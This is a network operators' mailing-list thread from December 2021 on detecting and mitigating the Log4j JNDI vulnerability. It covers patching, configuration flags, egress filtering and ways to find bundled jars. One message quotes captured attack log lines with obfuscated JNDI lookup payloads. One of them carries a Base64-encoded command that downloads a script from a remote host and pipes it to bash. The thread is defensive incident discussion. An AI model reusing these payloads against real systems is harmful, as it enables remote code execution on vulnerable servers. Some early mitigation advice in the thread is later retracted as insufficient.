The bigger problem seems to be the ever growing list of products you may be using which depend on it potentially without your knowledge. Owen

On Dec 11, 2021, at 03:41 , Jared Mauch <jared@puck.nether.net> wrote:

This is largely a patching exercise for people that use the software. If you use it, please patch.

Sent via RFC1925 complaint device

...

On Dec 10, 2021, at 10:59 PM, Andy Ringsmuth <andy@andyring.com> wrote:

The intricacies of Java are over my head, but I’ve been reading about this Log4j issue that sounds pretty bad.

What do we know about this? What, if anything, can a network operator do to help mitigate this? Or even an end user?

---- Andy Ringsmuth 5609 Harding Drive Lincoln, NE 68521-5831 (402) 304-0083 andy@andyring.com

On 13. Dec 2021, at 20:32, Jared Mauch <jared@puck.nether.net> wrote:

This is an great modern example showing how deeply embedded things could be, and they get worse with each of these nesting technologies as well, it may be embedded in a docker or VM image, or the class could be in some other JAR or zip you are not aware of, or could come back with an overlapping class definition based on the order things get loaded.

That’s what we’ll have SBOMs for [1]. Grüße, Carsten [1]: https://en.wikipedia.org/wiki/Software_bill_of_materials

Indeed, it is extremely used. This new threat seems to behave like a worm. What was the last worm-like virus? I recall sql slammer or something like that in early 2000. Was there any other very popular worm between 2003 and now? Thanks Jean From: NANOG <nanog-bounces+jean=ddostest.me@nanog.org> On Behalf Of Alain Hebert Sent: December 13, 2021 3:01 PM To: nanog@nanog.org Subject: Re: Log4j mitigation Well, In my experience, it is a really widely used library. It has been pretty much the de-facto standard for logging for a long while. IMHO So anything Java (and exposed obviously) need a review... Best Practices As a standard we always tent to push our customers to more light-weight logging library with less magic. PS: And it is not the first time Log4j ended causing headaches... For those wondering. I remember back in 2017 when everyone was angrily saying they'll change for something else... https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=log4j ----- Alain Hebert ahebert@pubnix.net <mailto:ahebert@pubnix.net> PubNIX Inc. 50 boul. St-Charles P.O. Box 26770 Beaconsfield, Quebec H9W 6G7 Tel: 514-990-5911 http://www.pubnix.net Fax: 514-990-9443 On 12/13/21 14:24, Owen DeLong via NANOG wrote: The bigger problem seems to be the ever growing list of products you may be using which depend on it potentially without your knowledge. Owen On Dec 11, 2021, at 03:41 , Jared Mauch <mailto:jared@puck.nether.net> <jared@puck.nether.net> wrote: This is largely a patching exercise for people that use the software. If you use it, please patch. Sent via RFC1925 complaint device On Dec 10, 2021, at 10:59 PM, Andy Ringsmuth <mailto:andy@andyring.com> <andy@andyring.com> wrote: The intricacies of Java are over my head, but I’ve been reading about this Log4j issue that sounds pretty bad. What do we know about this? What, if anything, can a network operator do to help mitigate this? Or even an end user? ---- Andy Ringsmuth 5609 Harding Drive Lincoln, NE 68521-5831 (402) 304-0083 andy@andyring.com <mailto:andy@andyring.com>

Well if you look to the right you won't see it, but if you look to the left you will see it. Meaning, that for a successful attack to work, the infected host needs to first download a payload from ldap. And ldap runs on port 389/636. You probably can't see the log4j vulnerability in the https, but you should be able to see your servers querying weird stuff on internet on port 389/636. Just don't allow your important hosts to fetch payload on internet on port 389/636. Et voila! Look to the left, not to the right. Jean -----Original Message----- From: NANOG <nanog-bounces+jean=ddostest.me@nanog.org> On Behalf Of Nick Hilliard Sent: December 11, 2021 7:12 AM To: Andy Ringsmuth <andy@andyring.com> Cc: nanog@nanog.org Subject: Re: Log4j mitigation Andy Ringsmuth wrote on 11/12/2021 03:54:

The intricacies of Java are over my head, but I’ve been reading about this Log4j issue that sounds pretty bad.

What do we know about this? What, if anything, can a network operator do to help mitigate this? Or even an end user?

The payload can be contained in https, so there is no way of detecting / stopping this at the network level. Installations need to be upgraded / fixed. https://logging.apache.org/log4j/2.x/security.html 1. upgrade log4j to 2.15.0 and restart all java apps 2. start java with "-D log4j2.formatMsgNoLookups=true" (v2.10+ only) 3. start java with "LOG4J_FORMAT_MSG_NO_LOOKUPS=true" environment variable (v2.10+ only) 4. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class There's a lot of scanning going on at the moment, so if you have an exposed java instance running something which includes log4j2, you may already be compromised. Nick

You are right, but it's still a good place to start looking. What do you recommend? Panic? It won't help you. Jean -----Original Message----- From: Jörg Kost <jk@ip-clear.de> Sent: December 13, 2021 6:01 AM To: Jean St-Laurent <jean@ddostest.me> Cc: Nick Hilliard <nick@foobar.org>; Andy Ringsmuth <andy@andyring.com>; nanog@nanog.org Subject: Re: Log4j mitigation It's not true. It can pull from other ports, URLs, make DNS calls, and seems to evaluate even from environment variables. It's a "virtual machine". On 13 Dec 2021, at 11:54, Jean St-Laurent via NANOG wrote:

Well if you look to the right you won't see it, but if you look to the left you will see it.

Meaning, that for a successful attack to work, the infected host needs to first download a payload from ldap.

And ldap runs on port 389/636.

You probably can't see the log4j vulnerability in the https, but you should be able to see your servers querying weird stuff on internet on port 389/636.

Just don't allow your important hosts to fetch payload on internet on port 389/636.

Et voila! Look to the left, not to the right.

Jean

I don't think the implication made that solution space contains only Snake Oil and panic. There is also an alternative to update the log4j package, which deserves review before deciding between snake oil and panic. On Mon, 13 Dec 2021 at 13:14, Jean St-Laurent via NANOG <nanog@nanog.org> wrote:

You are right, but it's still a good place to start looking.

What do you recommend? Panic?

It won't help you.

Jean

-----Original Message----- From: Jörg Kost <jk@ip-clear.de> Sent: December 13, 2021 6:01 AM To: Jean St-Laurent <jean@ddostest.me> Cc: Nick Hilliard <nick@foobar.org>; Andy Ringsmuth <andy@andyring.com>; nanog@nanog.org Subject: Re: Log4j mitigation

It's not true. It can pull from other ports, URLs, make DNS calls, and seems to evaluate even from environment variables. It's a "virtual machine".

On 13 Dec 2021, at 11:54, Jean St-Laurent via NANOG wrote:

...

Well if you look to the right you won't see it, but if you look to the left you will see it.

Meaning, that for a successful attack to work, the infected host needs to first download a payload from ldap.

And ldap runs on port 389/636.

You probably can't see the log4j vulnerability in the https, but you should be able to see your servers querying weird stuff on internet on port 389/636.

Just don't allow your important hosts to fetch payload on internet on port 389/636.

Et voila! Look to the left, not to the right.

Jean

-- ++ytti

On Mon, 13 Dec 2021 at 13:31, Jean St-Laurent <jean@ddostest.me> wrote:

It's possible to see it live crawling in your network. Why let something harmful continue to crawl and spread?

My apologies, I missed this part. How? -- ++ytti

You can't see it. The attack vector can hide in HTTP GETs, Posts (SSL), in Headers, in anything related to where a Java process does logging with Log4j; it's innumerable. It might even evaluate from a URI itself; it won't use a fixed port. It's not wormy right now, but maybe it will soon. We are seeing things like this since 10th of Dec. And this is only a typical Apache Logfile for HTTP/HTTPS, where we do logging: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo} GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 281 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80} GET /?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a} HTTP/1.1" 200 - "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}

This should translate in a query from your infected server toward an infected server controlled by a malicious hacker on port 389. x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a} Right? Jean -----Original Message----- From: Jörg Kost <jk@ip-clear.de> Sent: December 13, 2021 6:40 AM To: Jean St-Laurent <jean@ddostest.me> Cc: Saku Ytti <saku@ytti.fi>; nanog@nanog.org Subject: Re: Log4j mitigation You can't see it. The attack vector can hide in HTTP GETs, Posts (SSL), in Headers, in anything related to where a Java process does logging with Log4j; it's innumerable. It might even evaluate from a URI itself; it won't use a fixed port. It's not wormy right now, but maybe it will soon. We are seeing things like this since 10th of Dec. And this is only a typical Apache Logfile for HTTP/HTTPS, where we do logging: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo} GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 281 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80} GET /?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a} HTTP/1.1" 200 - "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}

Yes, but it won't change the outcome. We shall run with assuming breach paradigm. In this scenario, it might be useless looking around for port 389 only; it can give you a wrong assumption. When a vulnerable system has a reachable path to the Internet and can open a reverse shell alone from the URI, waiting for 389 is hopeless. 389 might be the initial starting port for the first wave of scanner and opportunist attackers, but it has already developed further. Cloudflare already talks about the broad spectrum of possible payloads, where you can see that people try to load their payload via DNS (port 53). Similar, what I posted half hour ago. https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-w... On 13 Dec 2021, at 13:04, Joe Greco wrote:

On Mon, Dec 13, 2021 at 12:39:58PM +0100, J??rg Kost wrote:

...

You can't see it.

I think you meant "you can't reliably see it". This doesn't mean that it isn't worth looking for obvious cases where you CAN see it.

... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "The strain of anti-intellectualism has been a constant thread winding its way through our political and cultural life, nurtured by the false notion that democracy means that 'my ignorance is just as good as your knowledge.'"-Asimov

I understand what you want to say, but I disagree in this point. When you have a cup full of water and someone remotely can drill holes into the out shell, just checking the bottom for leaks won't help. You may want a new mug instead. :-) The initial posting was about looking at the bottom only. Now we have the long journey from Java, Ldap, DNS, Birds and Coffee Cups behind us. Does anyone else have any advice on prevention? On 13 Dec 2021, at 13:35, Joe Greco wrote:

On Mon, Dec 13, 2021 at 01:12:25PM +0100, J??rg Kost wrote:

...

Yes, but it won't change the outcome. We shall run with assuming breach paradigm. In this scenario, it might be useless looking around for port 389 only; it can give you a wrong assumption.

That's like arguing that it isn't worth having a canary in the coal mine. Which, come to think of it, was implicitly the point of the message I sent that you're replying to as well. Just because there are other sources of fatalities, doesn't mean you can't check for the quick obvious stuff. In my experience, this tends to reveal issues that might have been forgotten or never known about to begin with. Most organizations have a variety of zombie legacy systems that were set up by people on staff several generations ago.

The more tools at your disposal to identify breached systems, the better.

But in a world where the attacker can leak out a whole 16-bit integer, monitoring that 0.003% for two-port states may be irrelevant. Not saying you shall not, but you will miss 99.997%. Agree? On 13 Dec 2021, at 15:22, Joe Greco wrote:

On Mon, Dec 13, 2021 at 01:49:07PM +0100, J??rg Kost wrote:

...

I understand what you want to say, but I disagree in this point. When you have a cup full of water and someone remotely can drill holes into the out shell, just checking the bottom for leaks won't help. You may want a new mug instead. :-) The initial posting was about looking at the bottom only.

Maybe I'm the only one who puts cheap wireless leak sensors near toilets, drains, and other less-likely sources of water, in addition to the big alarm system hardwired ones in all the usual places.

Of course, then again, we also have two AC sump pumps and one that is battery backup, all protected by generator and ATS.

I prefer to know. You, of course, are free to disregard as you see fit.

On Mon, 2021-12-13 at 06:35 -0600, Joe Greco wrote:

Just because there are other sources of fatalities, doesn't mean you can't check for the quick obvious stuff.

Indeed. One check, even an inadequate one, is better than no checks at all. And over time you can add more checks or improve the ones you have. Don't let "perfect" be the enemy of "good". Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer@biplane.com.au) http://www.biplane.com.au/kauer GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58 Old fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170

On 13/12/2021 15:28, bofh139 wrote:

...

Now we have the long journey from Java, Ldap, DNS, Birds and Coffee Cups behind us. Does anyone else have any advice on prevention?

Scan your systems: https://github.com/logpresso/CVE-2021-44228-Scanner https://github.com/fullhunt/log4j-scan -Hank

I agree, As an example that back what you're saying, I pasted the ip provided by Jörg in my browser. http://45.83.64.1/ Here is the html page returned. <html> ... Research Scanning Project This is a scanner of a research scanning project. If you want to exclude your IPs from scans, please send an e-mail to exclude@alphastrike.io. Thank you for your appreciation! ... </html> This ip scanner is in Germany and it looks legit, but a better investigation is recommended. The second host provided looks more suspicious. blah.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com resolve to 104.248.51.21 which is hosted on DigitalOcean. Here is the html output: <html> ... Interactsh Server Interactsh is an open-source solution for out-of-band data extraction. It is a tool designed to detect bugs that cause external interactions. These bugs include, Blind SQLi, Blind CMDi, SSRF, etc. If you find communications or exchanges with the interactsh.com server in your logs, it is possible that someone has been testing your applications. You should review the time when these interactions were initiated to identify the person responsible for this testing. ... </html> First, it's important to gain visibility and filter the goods from the bads. The first ip looks legit. The second could be reported to DigitalOcean for investigation. They usually investigate very fast. You can check for weird network flows patterns. You can also look for that suspicious html file that is crawling on http in clear text on your gears. At ISP level, visibility is a must and patterns will clearly become easy to identify. I agree with Karl that perfection is enemy of good. Jean -----Original Message----- From: NANOG <nanog-bounces+jean=ddostest.me@nanog.org> On Behalf Of Karl Auer Sent: December 13, 2021 7:55 AM To: NANOG List <nanog@nanog.org> Subject: Re: Log4j mitigation On Mon, 2021-12-13 at 06:35 -0600, Joe Greco wrote:

Just because there are other sources of fatalities, doesn't mean you can't check for the quick obvious stuff.

Indeed. One check, even an inadequate one, is better than no checks at all. And over time you can add more checks or improve the ones you have. Don't let "perfect" be the enemy of "good". Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer@biplane.com.au) http://www.biplane.com.au/kauer GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58 Old fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170

"Security" people often let perfect be the enemy of good. Sometimes it's okay. Sometimes not. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Karl Auer" <kauer@biplane.com.au> To: "NANOG List" <nanog@nanog.org> Sent: Monday, December 13, 2021 6:54:30 AM Subject: Re: Log4j mitigation On Mon, 2021-12-13 at 06:35 -0600, Joe Greco wrote:

Just because there are other sources of fatalities, doesn't mean you can't check for the quick obvious stuff.

Indeed. One check, even an inadequate one, is better than no checks at all. And over time you can add more checks or improve the ones you have. Don't let "perfect" be the enemy of "good". Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer@biplane.com.au) http://www.biplane.com.au/kauer GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58 Old fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170

On Dec 13, 2021, at 3:57 PM, Karl Auer <kauer@biplane.com.au> wrote:

On Mon, 2021-12-13 at 08:01 -0600, Mike Hammett wrote:

...

"Security" people often let perfect be the enemy of good. Sometimes it's okay. Sometimes not.

Can you offer an example of where it's okay?

I'm not a "security" person. Also not sure what the double quotes mean :-)

Regards, K.

TSA? Oh, wait, never mind. That’s “security theater” and not “security.” -Andy

On Mon, Dec 13, 2021 at 11:38:04AM -0800, Owen DeLong via NANOG wrote:

...

On Dec 11, 2021, at 04:11 , Nick Hilliard <nick@foobar.org> wrote: ... https://logging.apache.org/log4j/2.x/security.html

1. upgrade log4j to 2.15.0 and restart all java apps 2. start java with "-D log4j2.formatMsgNoLookups=true" (v2.10+ only) 3. start java with "LOG4J_FORMAT_MSG_NO_LOOKUPS=true" environment variable (v2.10+ only) 4. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

There's a lot of scanning going on at the moment, so if you have an exposed java instance running something which includes log4j2, you may already be compromised.

Nick

Alternatively, this incantation solved the problem on my linux server:

rpm -e log4j12 ant-apache-log4j log4j

There are many software setups that bundle their own log4j.jar without bothering to go through the OS package manager.... $ rpm -qa | fgrep log4j $ $ find / -name log4j*jar ....system/log4j/log4j/log4j/1.2.17/log4j-1.2.17.jar (obviously an old system due to the commands used and version found, and nor will it get patches available because of vendor...). Sorta like playing whack-a-mole with jquery.js (another package with lots of security history that seems to be copied _everywhere_ without registring it with the OS package manager). So, the exercise becomes _finding_ the software that uses it, and then doing the configs that defang JNDI everywhere you find it.

Thanks… That did find some additional packages hiding this scourge (about a dozen or so packages, around 100 packages removed after the dependency chains were resolved).

On Dec 14, 2021, at 09:30 , Tyler Conrad <tyler@tgconrad.com> wrote:

Another handy one to find where it's hiding, since it can be bundled inside other JARs: find / -name *.jar | xargs strings -f | grep -i log4j

If you’re on fedora, it can be useful to pipe the output of that to cut -f 1 -d : | xargs rpm -q —whatprovides which will give you the package names responsible for the files in question. One of the ones I discovered required quite a number of eclipse-* packages to be removed. Of the things that were found, there wasn’t anything I cared enough about keeping, so I’m still inclined to believe that rpm-e is the best solution to this problem at this point. Owen

On Tue, Dec 14, 2021 at 6:57 AM Doug McIntyre <merlyn@geeks.org <mailto:merlyn@geeks.org>> wrote: On Mon, Dec 13, 2021 at 11:38:04AM -0800, Owen DeLong via NANOG wrote:

...

...

On Dec 11, 2021, at 04:11 , Nick Hilliard <nick@foobar.org <mailto:nick@foobar.org>> wrote: ... https://logging.apache.org/log4j/2.x/security.html <https://logging.apache.org/log4j/2.x/security.html>

1. upgrade log4j to 2.15.0 and restart all java apps 2. start java with "-D log4j2.formatMsgNoLookups=true" (v2.10+ only) 3. start java with "LOG4J_FORMAT_MSG_NO_LOOKUPS=true" environment variable (v2.10+ only) 4. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

There's a lot of scanning going on at the moment, so if you have an exposed java instance running something which includes log4j2, you may already be compromised.

Nick

Alternatively, this incantation solved the problem on my linux server:

rpm -e log4j12 ant-apache-log4j log4j

There are many software setups that bundle their own log4j.jar without bothering to go through the OS package manager....

$ rpm -qa | fgrep log4j $

$ find / -name log4j*jar ....system/log4j/log4j/log4j/1.2.17/log4j-1.2.17.jar

(obviously an old system due to the commands used and version found, and nor will it get patches available because of vendor...).

Sorta like playing whack-a-mole with jquery.js (another package with lots of security history that seems to be copied _everywhere_ without registring it with the OS package manager).

So, the exercise becomes _finding_ the software that uses it, and then doing the configs that defang JNDI everywhere you find it.

The log4j people have updated their security advisory to say that these two mitigation measures are not sufficient to protect against the recent vulnerability:

2. start java with "-D log4j2.formatMsgNoLookups=true" (v2.10+ only) 3. start java with "LOG4J_FORMAT_MSG_NO_LOOKUPS=true" environment variable (v2.10+ only)

The current recommended fixes are: 1. upgrade to 2.16.0 (not 2.15.0), or 2. remove the JndiLookup.class file from log4j-core-*.jar More details on: https://logging.apache.org/log4j/2.x/security.html Nick